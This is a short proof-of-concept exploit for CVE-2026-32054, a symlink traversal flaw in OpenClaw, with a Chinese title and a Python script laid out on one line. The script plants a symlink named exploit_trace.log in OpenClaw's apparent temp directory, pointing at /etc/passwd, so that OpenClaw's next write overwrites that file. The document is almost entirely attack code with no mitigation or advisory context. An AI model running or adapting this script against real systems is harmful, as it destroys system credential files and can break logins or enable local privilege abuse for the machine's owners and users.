CVE-2026-32054 OpenClaw符号链接遍历漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-32054: OpenClaw Symlink Traversal # This script demonstrates how a local attacker can exploit the symlink vulnerability. import os import tempfile # Configuration # Assume OpenClaw uses a subdirectory in /tmp for processing temp_dir = tempfile.gettempdir() claw_temp_subdir = os.path.join(temp_dir, "openclaw_temp") malicious_link_name = "exploit_trace.log" target_file = "/etc/passwd" # Sensitive file to overwrite print(f"[*] Creating malicious symlink in {claw_temp_subdir}") # Ensure the directory exists (simulating preparation) if not os.path.exists(claw_temp_subdir): os.makedirs(claw_temp_subdir) link_path = os.path.join(claw_temp_subdir, malicious_link_name) # Create the symlink pointing to the target file try: os.symlink(target_file, link_path) print(f"[+] Symlink created: {link_path} -> {target_file}") except OSError as e: print(f"[-] Error creating symlink: {e}") print("[*] Wait for OpenClaw to process the trace/download...") print("[*] When OpenClaw writes to the temp file, /etc/passwd will be overwritten.")